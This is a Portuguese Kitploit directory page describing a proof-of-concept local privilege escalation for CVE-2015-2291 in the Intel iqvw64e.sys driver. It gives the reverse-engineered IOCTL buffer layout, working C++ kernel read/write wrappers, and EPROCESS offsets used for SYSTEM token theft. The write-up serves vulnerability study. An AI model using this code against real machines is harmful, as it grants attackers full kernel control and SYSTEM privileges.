Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
iqvw64e-privilege-escalation — Prova de conceito educacional para CVE-2015-2291 de escalada de privilégio local via abuso de IOCTL do driver Ethernet Intel, demonstrando leitura/escrita arbitrária de memória do kernel e roubo de token EPROCESS no Windows 10 x64. | Kitploit
Ferramentas/GitHubGitHub/ethanedits/iqvw64e-privilege-escalation
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoEngenharia ReversaAprendizado e EducaçãoExploração de Binários
GitHubethanedits/iqvw64e-privilege-escalation

iqvw64e-privilege-escalation

Prova de conceito educacional para CVE-2015-2291 de escalada de privilégio local via abuso de IOCTL do driver Ethernet Intel, demonstrando leitura/escrita arbitrária de memória do kernel e roubo de token EPROCESS no Windows 10 x64.

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
25há 7 mesesAinda não revisado

iqvw64e-privilege-escalation

CVE-2015-2291 Prova de Conceito de Escalação de Privilégio Local

PoC

Visão Geral

Este projeto é uma prova de conceito educacional para uma vulnerabilidade de Escalação de Privilégio Local (LPE) no driver iqvw64e.sys (SHA256: 37c637a74bf20d7630281581a8fae124200920df11ad7cd68c14c26cc12c5ec9) — o driver de diagnóstico Ethernet Intel associado ao CVE-2015-2291.

Depois de ver o driver sendo explorado em carregadores de modo kernel como o KDMapper, quis fazer engenharia reversa dele para entender como funciona o despacho de IOCTL, que tipos de funções ele expõe ao modo usuário e como um invasor poderia descobri-las ou aproveitá-las. Este artigo percorre o processo desde a análise estática até a construção de primitivas de memória usando DeviceIoControl e, finalmente, criando um exploit que abusa dessas primitivas para substituir o token de acesso do processo atual pelo token do processo SYSTEM, efetivamente elevando o processo para privilégios de SYSTEM.

No Windows, cada processo está associado a um token de acesso que define sua identidade e privilégios. Ao obter leitura/escrita arbitrária no kernel, torna-se possível modificar o ponteiro do token armazenado na estrutura de processo do kernel. Substituir esse ponteiro pelo do processo SYSTEM faz com que o sistema operacional associe o processo atual ao contexto de segurança do SYSTEM, efetivamente concedendo-lhe privilégios completos. Saiba mais aqui.

Do Manipulador de IOCTL à Tabela de Despacho

O driver registra uma rotina de despacho para IRP_MJ_DEVICE_CONTROL, que lida com chamadas DeviceIoControl do modo usuário. Conforme mostrado abaixo, ela leva a sub_11150 que direciona o fluxo do código com base no código de controle de IO de entrada. Neste caso, estamos interessados em 0x80862007, que nos leva a loc_111C2.

IRP_MJ_DEVICE_CONTROL

Seguindo o fluxo de controle através de loc_111C2, chegamos a sub_113C0. Ela recebe um buffer de entrada (a1) e usa o primeiro QWORD desse buffer como um índice em uma tabela de despacho de funções manipuladoras internas. Aqui, o driver realiza o seguinte:

  • Lê a1 → primeiro QWORD (0x0) → jump_table_index
  • Comuta com base neste índice
  • Despacha para a função interna correspondente
  • Usa os campos restantes em a1 como argumentos

Agora sabemos que o buffer de entrada controla tanto o alvo do despacho quanto seus parâmetros. Iremos definir melhor a estrutura do buffer de entrada à medida que continuamos a análise.

root@kitploit:~
typedef struct _MEMMOVE_INPUT_BUFFER
{
uint64_t jump_table_index; // 0x00 — used as the dispatch selector
} MEMMOVE_INPUT_BUFFER, *PMEMMOVE_INPUT_BUFFER;

loc_111C2

sub_113C0

Identificando a Primitiva memmove

Ao analisar os casos da tabela de despacho, procurei por manipuladores que se assemelham a memmove ou memcpy. No caso 0x33, o driver chama sub_11EA0, passando três campos do buffer de entrada. Isso se assemelha fortemente a uma cópia de memória:

case_0x33

Abrindo sub_11EA0, encontramos a assinatura esperada:

root@kitploit:~
void* memmove( void* dest, const void* src, std::size_t count );

A desmontagem confirma que:

  • Argumento a1 = destination
  • Argumento a2 = source
  • Argumento a3 = length

sub_11EA0

Com essas informações, podemos agora reconstruir completamente o layout do buffer de entrada esperado para a chamada memmove:

root@kitploit:~
typedef struct _MEMMOVE_INPUT_BUFFER
{
	uint64_t jump_table_index; // 0x00
	uint64_t padding;          // 0x08 (8)
	uint64_t source;           // 0x10 (16)
	uint64_t destination;      // 0x18 (24)
	uint64_t length;           // 0x20 (32)
} MEMMOVE_INPUT_BUFFER, *PMEMMOVE_INPUT_BUFFER;

Alcançando Leitura/Escrita Arbitrária de Memória

Agora entendemos que ao enviar um MEMMOVE_INPUT_BUFFER válido para o driver, com:

  • jump_table_index = 0x33
  • source, destination e length definidos conforme necessário

Podemos instruir o driver a chamar memmove em endereços arbitrários, dando-nos capacidades completas de leitura/escrita de memória do kernel a partir do modo usuário.

Aqui estão os wrappers de modo usuário construídos em torno dessa primitiva:

root@kitploit:~
bool MemMove(uint64_t destination, uint64_t source, uint64_t size) {
	if (!destination || !source || !size)
		return 0;

	MEMMOVE_INPUT_BUFFER input_buffer = { 0 };

	input_buffer.jump_table_index = 0x33; //jumptable index for memmove (51)
	input_buffer.source = source;
	input_buffer.destination = destination;
	input_buffer.length = size;

	DWORD bytes_returned = 0;
	return DeviceIoControl(hDriver, IOCTL_MEMMOVE, &input_buffer, sizeof(input_buffer), nullptr, 0, &bytes_returned, nullptr);
}

uintptr_t read64(uintptr_t address)
{
	uintptr_t value = 0;
	if (MemMove(reinterpret_cast<uint64_t>(&value), address, sizeof(uintptr_t)))
		return value;
	return 0;
}

bool write64(uintptr_t address, uintptr_t value)
{
	return MemMove(address, reinterpret_cast<uint64_t>(&value), sizeof(uintptr_t));
}

Esses auxiliares permitem leituras e escritas arbitrárias de 64 bits na memória virtual do kernel. A partir deste ponto, vários ataques se tornam possíveis (como roubo de token EPROCESS), mas este artigo foca na reconstrução e análise. Você encontrará que main.cpp contém um exploit PoC de roubo de token EPROCESS, cortesia de Eap2468's CVE-2021-2155

Notas

  • Versão do Windows: 10 x64 22H2 (19045.6466)
  • Deslocamentos EPROCESS:
    • UniqueProcessId: 0x440
    • ActiveProcessLinks: 0x448
    • Token: 0x4b8
  • Driver: iqvw64e.sys (O binário do driver foi incluído no repositório para sua conveniência)
  • SHA256: 37c637a74bf20d7630281581a8fae124200920df11ad7cd68c14c26cc12c5ec9

Referências e Créditos

  • CVE-2015-2291 (iqvw64e.sys)
  • KDMapper
  • CVE-2021-21551 / Token Stealing Exploit
  • Projeto Vergilius para Definições de Estruturas do Windows

Demonstração

PoC

Baixar ferramenta